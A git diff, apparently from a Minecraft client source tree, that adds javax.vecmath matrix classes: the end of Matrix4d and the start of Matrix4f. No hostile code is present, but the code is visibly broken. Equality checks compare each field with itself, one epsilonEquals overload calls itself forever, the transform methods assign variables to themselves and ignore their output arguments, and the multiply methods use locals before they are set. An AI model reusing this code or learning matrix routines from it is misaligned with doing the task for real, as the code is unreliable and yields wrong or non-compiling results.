+      double m11 = m10 * m01 + m11 * m11 + m12 * m21 + m13 * m31;
+      double m12 = m10 * m02 + m11 * m12 + m12 * m22 + m13 * m32;
+      double m13 = m10 * m03 + m11 * m13 + m12 * m23 + m13 * m33;
+      
+      double m20 = m20 * m00 + m21 * m10 + m22 * m20 + m23 * m30;
+      double m21 = m20 * m01 + m21 * m11 + m22 * m21 + m23 * m31;
+      double m22 = m20 * m02 + m21 * m12 + m22 * m22 + m23 * m32;
+      double m23 = m20 * m03 + m21 * m13 + m22 * m23 + m23 * m33;
+      
+      double m30 = m30 * m00 + m31 * m10 + m32 * m20 + m33 * m30;
+      double m31 = m30 * m01 + m31 * m11 + m32 * m21 + m33 * m31;
+      double m32 = m30 * m02 + m31 * m12 + m32 * m22 + m33 * m32;
+      double m33 = m30 * m03 + m31 * m13 + m32 * m23 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void mulTransposeBoth(Matrix4d m1, Matrix4d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m01 + m20 * m02 + m30 * m03);
+      this.m01 = (m00 * m10 + m10 * m11 + m20 * m12 + m30 * m13);
+      this.m02 = (m00 * m20 + m10 * m21 + m20 * m22 + m30 * m23);
+      this.m03 = (m00 * m30 + m10 * m31 + m20 * m32 + m30 * m33);
+      
+      this.m10 = (m01 * m00 + m11 * m01 + m21 * m02 + m31 * m03);
+      this.m11 = (m01 * m10 + m11 * m11 + m21 * m12 + m31 * m13);
+      this.m12 = (m01 * m20 + m11 * m21 + m21 * m22 + m31 * m23);
+      this.m13 = (m01 * m30 + m11 * m31 + m21 * m32 + m31 * m33);
+      
+      this.m20 = (m02 * m00 + m12 * m01 + m22 * m02 + m32 * m03);
+      this.m21 = (m02 * m10 + m12 * m11 + m22 * m12 + m32 * m13);
+      this.m22 = (m02 * m20 + m12 * m21 + m22 * m22 + m32 * m23);
+      this.m23 = (m02 * m30 + m12 * m31 + m22 * m32 + m32 * m33);
+      
+      this.m30 = (m03 * m00 + m13 * m01 + m23 * m02 + m33 * m03);
+      this.m31 = (m03 * m10 + m13 * m11 + m23 * m12 + m33 * m13);
+      this.m32 = (m03 * m20 + m13 * m21 + m23 * m22 + m33 * m23);
+      this.m33 = (m03 * m30 + m13 * m31 + m23 * m32 + m33 * m33);
+
+
+    }
+    else
+    {
+
+      double m00 = m00 * m00 + m10 * m01 + m20 * m02 + m30 * m03;
+      double m01 = m00 * m10 + m10 * m11 + m20 * m12 + m30 * m13;
+      double m02 = m00 * m20 + m10 * m21 + m20 * m22 + m30 * m23;
+      double m03 = m00 * m30 + m10 * m31 + m20 * m32 + m30 * m33;
+      
+      double m10 = m01 * m00 + m11 * m01 + m21 * m02 + m31 * m03;
+      double m11 = m01 * m10 + m11 * m11 + m21 * m12 + m31 * m13;
+      double m12 = m01 * m20 + m11 * m21 + m21 * m22 + m31 * m23;
+      double m13 = m01 * m30 + m11 * m31 + m21 * m32 + m31 * m33;
+      
+      double m20 = m02 * m00 + m12 * m01 + m22 * m02 + m32 * m03;
+      double m21 = m02 * m10 + m12 * m11 + m22 * m12 + m32 * m13;
+      double m22 = m02 * m20 + m12 * m21 + m22 * m22 + m32 * m23;
+      double m23 = m02 * m30 + m12 * m31 + m22 * m32 + m32 * m33;
+      
+      double m30 = m03 * m00 + m13 * m01 + m23 * m02 + m33 * m03;
+      double m31 = m03 * m10 + m13 * m11 + m23 * m12 + m33 * m13;
+      double m32 = m03 * m20 + m13 * m21 + m23 * m22 + m33 * m23;
+      double m33 = m03 * m30 + m13 * m31 + m23 * m32 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void mulTransposeRight(Matrix4d m1, Matrix4d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m01 * m01 + m02 * m02 + m03 * m03);
+      this.m01 = (m00 * m10 + m01 * m11 + m02 * m12 + m03 * m13);
+      this.m02 = (m00 * m20 + m01 * m21 + m02 * m22 + m03 * m23);
+      this.m03 = (m00 * m30 + m01 * m31 + m02 * m32 + m03 * m33);
+      
+      this.m10 = (m10 * m00 + m11 * m01 + m12 * m02 + m13 * m03);
+      this.m11 = (m10 * m10 + m11 * m11 + m12 * m12 + m13 * m13);
+      this.m12 = (m10 * m20 + m11 * m21 + m12 * m22 + m13 * m23);
+      this.m13 = (m10 * m30 + m11 * m31 + m12 * m32 + m13 * m33);
+      
+      this.m20 = (m20 * m00 + m21 * m01 + m22 * m02 + m23 * m03);
+      this.m21 = (m20 * m10 + m21 * m11 + m22 * m12 + m23 * m13);
+      this.m22 = (m20 * m20 + m21 * m21 + m22 * m22 + m23 * m23);
+      this.m23 = (m20 * m30 + m21 * m31 + m22 * m32 + m23 * m33);
+      
+      this.m30 = (m30 * m00 + m31 * m01 + m32 * m02 + m33 * m03);
+      this.m31 = (m30 * m10 + m31 * m11 + m32 * m12 + m33 * m13);
+      this.m32 = (m30 * m20 + m31 * m21 + m32 * m22 + m33 * m23);
+      this.m33 = (m30 * m30 + m31 * m31 + m32 * m32 + m33 * m33);
+
+
+    }
+    else
+    {
+
+      double m00 = m00 * m00 + m01 * m01 + m02 * m02 + m03 * m03;
+      double m01 = m00 * m10 + m01 * m11 + m02 * m12 + m03 * m13;
+      double m02 = m00 * m20 + m01 * m21 + m02 * m22 + m03 * m23;
+      double m03 = m00 * m30 + m01 * m31 + m02 * m32 + m03 * m33;
+      
+      double m10 = m10 * m00 + m11 * m01 + m12 * m02 + m13 * m03;
+      double m11 = m10 * m10 + m11 * m11 + m12 * m12 + m13 * m13;
+      double m12 = m10 * m20 + m11 * m21 + m12 * m22 + m13 * m23;
+      double m13 = m10 * m30 + m11 * m31 + m12 * m32 + m13 * m33;
+      
+      double m20 = m20 * m00 + m21 * m01 + m22 * m02 + m23 * m03;
+      double m21 = m20 * m10 + m21 * m11 + m22 * m12 + m23 * m13;
+      double m22 = m20 * m20 + m21 * m21 + m22 * m22 + m23 * m23;
+      double m23 = m20 * m30 + m21 * m31 + m22 * m32 + m23 * m33;
+      
+      double m30 = m30 * m00 + m31 * m01 + m32 * m02 + m33 * m03;
+      double m31 = m30 * m10 + m31 * m11 + m32 * m12 + m33 * m13;
+      double m32 = m30 * m20 + m31 * m21 + m32 * m22 + m33 * m23;
+      double m33 = m30 * m30 + m31 * m31 + m32 * m32 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void mulTransposeLeft(Matrix4d m1, Matrix4d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m10 + m20 * m20 + m30 * m30);
+      this.m01 = (m00 * m01 + m10 * m11 + m20 * m21 + m30 * m31);
+      this.m02 = (m00 * m02 + m10 * m12 + m20 * m22 + m30 * m32);
+      this.m03 = (m00 * m03 + m10 * m13 + m20 * m23 + m30 * m33);
+      
+      this.m10 = (m01 * m00 + m11 * m10 + m21 * m20 + m31 * m30);
+      this.m11 = (m01 * m01 + m11 * m11 + m21 * m21 + m31 * m31);
+      this.m12 = (m01 * m02 + m11 * m12 + m21 * m22 + m31 * m32);
+      this.m13 = (m01 * m03 + m11 * m13 + m21 * m23 + m31 * m33);
+      
+      this.m20 = (m02 * m00 + m12 * m10 + m22 * m20 + m32 * m30);
+      this.m21 = (m02 * m01 + m12 * m11 + m22 * m21 + m32 * m31);
+      this.m22 = (m02 * m02 + m12 * m12 + m22 * m22 + m32 * m32);
+      this.m23 = (m02 * m03 + m12 * m13 + m22 * m23 + m32 * m33);
+      
+      this.m30 = (m03 * m00 + m13 * m10 + m23 * m20 + m33 * m30);
+      this.m31 = (m03 * m01 + m13 * m11 + m23 * m21 + m33 * m31);
+      this.m32 = (m03 * m02 + m13 * m12 + m23 * m22 + m33 * m32);
+      this.m33 = (m03 * m03 + m13 * m13 + m23 * m23 + m33 * m33);
+
+
+
+    }
+    else
+    {
+
+
+      double m00 = m00 * m00 + m10 * m10 + m20 * m20 + m30 * m30;
+      double m01 = m00 * m01 + m10 * m11 + m20 * m21 + m30 * m31;
+      double m02 = m00 * m02 + m10 * m12 + m20 * m22 + m30 * m32;
+      double m03 = m00 * m03 + m10 * m13 + m20 * m23 + m30 * m33;
+      
+      double m10 = m01 * m00 + m11 * m10 + m21 * m20 + m31 * m30;
+      double m11 = m01 * m01 + m11 * m11 + m21 * m21 + m31 * m31;
+      double m12 = m01 * m02 + m11 * m12 + m21 * m22 + m31 * m32;
+      double m13 = m01 * m03 + m11 * m13 + m21 * m23 + m31 * m33;
+      
+      double m20 = m02 * m00 + m12 * m10 + m22 * m20 + m32 * m30;
+      double m21 = m02 * m01 + m12 * m11 + m22 * m21 + m32 * m31;
+      double m22 = m02 * m02 + m12 * m12 + m22 * m22 + m32 * m32;
+      double m23 = m02 * m03 + m12 * m13 + m22 * m23 + m32 * m33;
+      
+      double m30 = m03 * m00 + m13 * m10 + m23 * m20 + m33 * m30;
+      double m31 = m03 * m01 + m13 * m11 + m23 * m21 + m33 * m31;
+      double m32 = m03 * m02 + m13 * m12 + m23 * m22 + m33 * m32;
+      double m33 = m03 * m03 + m13 * m13 + m23 * m23 + m33 * m33;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+      this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Matrix4d m1)
+  {
+    try
+    {
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m03 == m03) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m13 == m13) && (m20 == m20) && (m21 == m21) && (m22 == m22) && (m23 == m23) && (m30 == m30) && (m31 == m31) && (m32 == m32) && (m33 == m33);
+    }
+    catch (NullPointerException e2) {}
+    
+
+
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Matrix4d m2 = (Matrix4d)t1;
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m03 == m03) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m13 == m13) && (m20 == m20) && (m21 == m21) && (m22 == m22) && (m23 == m23) && (m30 == m30) && (m31 == m31) && (m32 == m32) && (m33 == m33);
+
+
+    }
+    catch (ClassCastException e1)
+    {
+
+      return false; } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public boolean epsilonEquals(Matrix4d m1, float epsilon) {
+    return epsilonEquals(m1, epsilon);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Matrix4d m1, double epsilon)
+  {
+    double diff = m00 - m00;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m01 - m01;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m02 - m02;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m03 - m03;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m10 - m10;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m11 - m11;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m12 - m12;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m13 - m13;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m20 - m20;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m21 - m21;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m22 - m22;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m23 - m23;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m30 - m30;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m31 - m31;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m32 - m32;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m33 - m33;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m00);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m01);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m02);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m03);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m10);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m11);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m12);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m13);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m20);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m21);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m22);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m23);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m30);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m31);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m32);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m33);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Tuple4d vec, Tuple4d vecOut)
+  {
+    double x = m00 * x + m01 * y + m02 * z + m03 * w;
+    
+    double y = m10 * x + m11 * y + m12 * z + m13 * w;
+    
+    double z = m20 * x + m21 * y + m22 * z + m23 * w;
+    
+    w = (m30 * x + m31 * y + m32 * z + m33 * w);
+    
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+
+  public final void transform(Tuple4d vec)
+  {
+    double x = m00 * x + m01 * y + m02 * z + m03 * w;
+    
+    double y = m10 * x + m11 * y + m12 * z + m13 * w;
+    
+    double z = m20 * x + m21 * y + m22 * z + m23 * w;
+    
+    w = (m30 * x + m31 * y + m32 * z + m33 * w);
+    
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+
+  public final void transform(Tuple4f vec, Tuple4f vecOut)
+  {
+    float x = (float)(m00 * x + m01 * y + m02 * z + m03 * w);
+    
+    float y = (float)(m10 * x + m11 * y + m12 * z + m13 * w);
+    
+    float z = (float)(m20 * x + m21 * y + m22 * z + m23 * w);
+    
+    w = ((float)(m30 * x + m31 * y + m32 * z + m33 * w));
+    
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+
+  public final void transform(Tuple4f vec)
+  {
+    float x = (float)(m00 * x + m01 * y + m02 * z + m03 * w);
+    
+    float y = (float)(m10 * x + m11 * y + m12 * z + m13 * w);
+    
+    float z = (float)(m20 * x + m21 * y + m22 * z + m23 * w);
+    
+    w = ((float)(m30 * x + m31 * y + m32 * z + m33 * w));
+    
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void transform(Point3d point, Point3d pointOut)
+  {
+    double x = m00 * x + m01 * y + m02 * z + m03;
+    double y = m10 * x + m11 * y + m12 * z + m13;
+    z = (m20 * x + m21 * y + m22 * z + m23);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void transform(Point3d point)
+  {
+    double x = m00 * x + m01 * y + m02 * z + m03;
+    double y = m10 * x + m11 * y + m12 * z + m13;
+    z = (m20 * x + m21 * y + m22 * z + m23);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void transform(Point3f point, Point3f pointOut)
+  {
+    float x = (float)(m00 * x + m01 * y + m02 * z + m03);
+    float y = (float)(m10 * x + m11 * y + m12 * z + m13);
+    z = ((float)(m20 * x + m21 * y + m22 * z + m23));
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Point3f point)
+  {
+    float x = (float)(m00 * x + m01 * y + m02 * z + m03);
+    float y = (float)(m10 * x + m11 * y + m12 * z + m13);
+    z = ((float)(m20 * x + m21 * y + m22 * z + m23));
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Vector3d normal, Vector3d normalOut)
+  {
+    double x = m00 * x + m01 * y + m02 * z;
+    double y = m10 * x + m11 * y + m12 * z;
+    z = (m20 * x + m21 * y + m22 * z);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Vector3d normal)
+  {
+    double x = m00 * x + m01 * y + m02 * z;
+    double y = m10 * x + m11 * y + m12 * z;
+    z = (m20 * x + m21 * y + m22 * z);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Vector3f normal, Vector3f normalOut)
+  {
+    float x = (float)(m00 * x + m01 * y + m02 * z);
+    float y = (float)(m10 * x + m11 * y + m12 * z);
+    z = ((float)(m20 * x + m21 * y + m22 * z));
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Vector3f normal)
+  {
+    float x = (float)(m00 * x + m01 * y + m02 * z);
+    float y = (float)(m10 * x + m11 * y + m12 * z);
+    z = ((float)(m20 * x + m21 * y + m22 * z));
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Matrix3d m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = (m00 * tmp_scale[0]);
+    m01 = (m01 * tmp_scale[1]);
+    m02 = (m02 * tmp_scale[2]);
+    
+    m10 = (m10 * tmp_scale[0]);
+    m11 = (m11 * tmp_scale[1]);
+    m12 = (m12 * tmp_scale[2]);
+    
+    m20 = (m20 * tmp_scale[0]);
+    m21 = (m21 * tmp_scale[1]);
+    m22 = (m22 * tmp_scale[2]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Matrix3f m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = (m00 * tmp_scale[0]);
+    m01 = (m01 * tmp_scale[1]);
+    m02 = (m02 * tmp_scale[2]);
+    
+    m10 = (m10 * tmp_scale[0]);
+    m11 = (m11 * tmp_scale[1]);
+    m12 = (m12 * tmp_scale[2]);
+    
+    m20 = (m20 * tmp_scale[0]);
+    m21 = (m21 * tmp_scale[1]);
+    m22 = (m22 * tmp_scale[2]);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Quat4f q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((1.0D - 2.0F * y * y - 2.0F * z * z) * tmp_scale[0]);
+    m10 = (2.0D * (x * y + w * z) * tmp_scale[0]);
+    m20 = (2.0D * (x * z - w * y) * tmp_scale[0]);
+    
+    m01 = (2.0D * (x * y - w * z) * tmp_scale[1]);
+    m11 = ((1.0D - 2.0F * x * x - 2.0F * z * z) * tmp_scale[1]);
+    m21 = (2.0D * (y * z + w * x) * tmp_scale[1]);
+    
+    m02 = (2.0D * (x * z + w * y) * tmp_scale[2]);
+    m12 = (2.0D * (y * z - w * x) * tmp_scale[2]);
+    m22 = ((1.0D - 2.0F * x * x - 2.0F * y * y) * tmp_scale[2]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Quat4d q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((1.0D - 2.0D * y * y - 2.0D * z * z) * tmp_scale[0]);
+    m10 = (2.0D * (x * y + w * z) * tmp_scale[0]);
+    m20 = (2.0D * (x * z - w * y) * tmp_scale[0]);
+    
+    m01 = (2.0D * (x * y - w * z) * tmp_scale[1]);
+    m11 = ((1.0D - 2.0D * x * x - 2.0D * z * z) * tmp_scale[1]);
+    m21 = (2.0D * (y * z + w * x) * tmp_scale[1]);
+    
+    m02 = (2.0D * (x * z + w * y) * tmp_scale[2]);
+    m12 = (2.0D * (y * z - w * x) * tmp_scale[2]);
+    m22 = ((1.0D - 2.0D * x * x - 2.0D * y * y) * tmp_scale[2]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final void setRotation(AxisAngle4d a1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    double mag = 1.0D / Math.sqrt(x * x + y * y + z * z);
+    double ax = x * mag;
+    double ay = y * mag;
+    double az = z * mag;
+    
+    double sinTheta = Math.sin(angle);
+    double cosTheta = Math.cos(angle);
+    double t = 1.0D - cosTheta;
+    
+    double xz = x * z;
+    double xy = x * y;
+    double yz = y * z;
+    
+    m00 = ((t * ax * ax + cosTheta) * tmp_scale[0]);
+    m01 = ((t * xy - sinTheta * az) * tmp_scale[1]);
+    m02 = ((t * xz + sinTheta * ay) * tmp_scale[2]);
+    
+    m10 = ((t * xy + sinTheta * az) * tmp_scale[0]);
+    m11 = ((t * ay * ay + cosTheta) * tmp_scale[1]);
+    m12 = ((t * yz - sinTheta * ax) * tmp_scale[2]);
+    
+    m20 = ((t * xz - sinTheta * ay) * tmp_scale[0]);
+    m21 = ((t * yz + sinTheta * ax) * tmp_scale[1]);
+    m22 = ((t * az * az + cosTheta) * tmp_scale[2]);
+  }
+  
+
+
+
+
+  public final void setZero()
+  {
+    m00 = 0.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = 0.0D;
+    m10 = 0.0D;
+    m11 = 0.0D;
+    m12 = 0.0D;
+    m13 = 0.0D;
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 0.0D;
+    m23 = 0.0D;
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 0.0D;
+  }
+  
+
+
+
+  public final void negate()
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    m03 = (-m03);
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    m13 = (-m13);
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+    m23 = (-m23);
+    m30 = (-m30);
+    m31 = (-m31);
+    m32 = (-m32);
+    m33 = (-m33);
+  }
+  
+
+
+
+
+
+  public final void negate(Matrix4d m1)
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    m03 = (-m03);
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    m13 = (-m13);
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+    m23 = (-m23);
+    m30 = (-m30);
+    m31 = (-m31);
+    m32 = (-m32);
+    m33 = (-m33);
+  }
+  
+  private final void getScaleRotate(double[] scales, double[] rots) { double[] tmp = new double[9];
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    
+    Matrix3d.compute_svd(tmp, scales, rots);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    Matrix4d m1 = null;
+    try {
+      m1 = (Matrix4d)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+    
+    return m1;
+  }
+  
+
+
+
+
+
+
+  public final double getM00()
+  {
+    return m00;
+  }
+  
+
+
+
+
+
+
+
+  public final void setM00(double m00)
+  {
+    this.m00 = m00;
+  }
+  
+
+
+
+
+
+
+  public final double getM01()
+  {
+    return m01;
+  }
+  
+
+
+
+
+
+
+  public final void setM01(double m01)
+  {
+    this.m01 = m01;
+  }
+  
+
+
+
+
+
+
+  public final double getM02()
+  {
+    return m02;
+  }
+  
+
+
+
+
+
+
+  public final void setM02(double m02)
+  {
+    this.m02 = m02;
+  }
+  
+
+
+
+
+
+
+  public final double getM10()
+  {
+    return m10;
+  }
+  
+
+
+
+
+
+
+  public final void setM10(double m10)
+  {
+    this.m10 = m10;
+  }
+  
+
+
+
+
+
+
+  public final double getM11()
+  {
+    return m11;
+  }
+  
+
+
+
+
+
+
+  public final void setM11(double m11)
+  {
+    this.m11 = m11;
+  }
+  
+
+
+
+
+
+
+  public final double getM12()
+  {
+    return m12;
+  }
+  
+
+
+
+
+
+
+
+  public final void setM12(double m12)
+  {
+    this.m12 = m12;
+  }
+  
+
+
+
+
+
+
+  public final double getM20()
+  {
+    return m20;
+  }
+  
+
+
+
+
+
+
+  public final void setM20(double m20)
+  {
+    this.m20 = m20;
+  }
+  
+
+
+
+
+
+
+  public final double getM21()
+  {
+    return m21;
+  }
+  
+
+
+
+
+
+
+  public final void setM21(double m21)
+  {
+    this.m21 = m21;
+  }
+  
+
+
+
+
+
+
+  public final double getM22()
+  {
+    return m22;
+  }
+  
+
+
+
+
+
+
+  public final void setM22(double m22)
+  {
+    this.m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public final double getM03()
+  {
+    return m03;
+  }
+  
+
+
+
+
+
+
+  public final void setM03(double m03)
+  {
+    this.m03 = m03;
+  }
+  
+
+
+
+
+
+
+  public final double getM13()
+  {
+    return m13;
+  }
+  
+
+
+
+
+
+
+  public final void setM13(double m13)
+  {
+    this.m13 = m13;
+  }
+  
+
+
+
+
+
+
+  public final double getM23()
+  {
+    return m23;
+  }
+  
+
+
+
+
+
+
+  public final void setM23(double m23)
+  {
+    this.m23 = m23;
+  }
+  
+
+
+
+
+
+
+  public final double getM30()
+  {
+    return m30;
+  }
+  
+
+
+
+
+
+
+  public final void setM30(double m30)
+  {
+    this.m30 = m30;
+  }
+  
+
+
+
+
+
+
+  public final double getM31()
+  {
+    return m31;
+  }
+  
+
+
+
+
+
+
+  public final void setM31(double m31)
+  {
+    this.m31 = m31;
+  }
+  
+
+
+
+
+
+
+
+  public final double getM32()
+  {
+    return m32;
+  }
+  
+
+
+
+
+
+
+  public final void setM32(double m32)
+  {
+    this.m32 = m32;
+  }
+  
+
+
+
+
+
+
+  public final double getM33()
+  {
+    return m33;
+  }
+  
+
+
+
+
+
+
+  public final void setM33(double m33)
+  {
+    this.m33 = m33;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Matrix4f.java b/src/minecraft/javax/vecmath/Matrix4f.java
new file mode 100644
index 0000000..8eebfdd
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Matrix4f.java
@@ -0,0 +1,3617 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Matrix4f
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = -8405036035410109353L;
+  public float m00;
+  public float m01;
+  public float m02;
+  public float m03;
+  public float m10;
+  public float m11;
+  public float m12;
+  public float m13;
+  public float m20;
+  public float m21;
+  public float m22;
+  public float m23;
+  public float m30;
+  public float m31;
+  public float m32;
+  public float m33;
+  private static final double EPS = 1.0E-8D;
+  
+  public Matrix4f(float m00, float m01, float m02, float m03, float m10, float m11, float m12, float m13, float m20, float m21, float m22, float m23, float m30, float m31, float m32, float m33)
+  {
+    this.m00 = m00;
+    this.m01 = m01;
+    this.m02 = m02;
+    this.m03 = m03;
+    
+    this.m10 = m10;
+    this.m11 = m11;
+    this.m12 = m12;
+    this.m13 = m13;
+    
+    this.m20 = m20;
+    this.m21 = m21;
+    this.m22 = m22;
+    this.m23 = m23;
+    
+    this.m30 = m30;
+    this.m31 = m31;
+    this.m32 = m32;
+    this.m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public Matrix4f(float[] v)
+  {
+    m00 = v[0];
+    m01 = v[1];
+    m02 = v[2];
+    m03 = v[3];
+    
+    m10 = v[4];
+    m11 = v[5];
+    m12 = v[6];
+    m13 = v[7];
+    
+    m20 = v[8];
+    m21 = v[9];
+    m22 = v[10];
+    m23 = v[11];
+    
